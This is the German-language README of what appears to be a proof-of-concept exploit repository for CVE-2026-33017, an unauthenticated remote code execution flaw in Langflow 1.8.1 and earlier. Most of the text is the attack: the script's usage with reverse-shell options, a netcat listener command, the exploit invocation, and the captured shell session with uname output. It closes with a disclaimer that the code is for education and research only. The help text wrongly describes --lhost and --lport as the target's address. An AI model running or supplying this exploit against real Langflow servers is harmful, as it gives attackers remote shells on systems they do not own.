masterwok/poc-cve-2026-33017Proof-of-Concept-Exploit für CVE-2026-33017 (Langflow <= 1.8.1).
Langflow <= 1.8.1 ist anfällig für eine entfernte, nicht authentifizierte RCE (https://nvd.nist.gov/vuln/detail/CVE-2026-33017)
usage: CVE-2026-33017.py [-h] --lhost LHOST --lport LPORT target
PoC-Exploit: CVE-2026-33017
positional arguments:
target Ziel-Hostname
options:
-h, --help Zeigt diese Hilfemeldung an und beendet das Programm
--lhost LHOST IP-Adresse des Ziels für die Reverse Shell
--lport LPORT Port des Ziels für die Reverse Shell
# Docker-Instanz erstellen
docker run -d -p 7860:7860 langflowai/langflow:1.8.1
# Listener starten
nc -lnvp 4444
# Exploit starten
python3 CVE-2026-33017.py 127.0.0.1 --lhost 192.168.1.17 --lport 4444
# Reverse Shell sollte im Listener eintreffen
Listening on 0.0.0.0 4444
Connection received on 172.17.0.2 42712
uname -a
Linux 9be89ace430c 6.14.0-37-generic #37~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Nov 20 10:25:38 UTC 2 x86_64 GNU/Linux
Dieses Projekt dient ausschließlich Bildungs- und Forschungszwecken. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch diesen Code verursacht werden.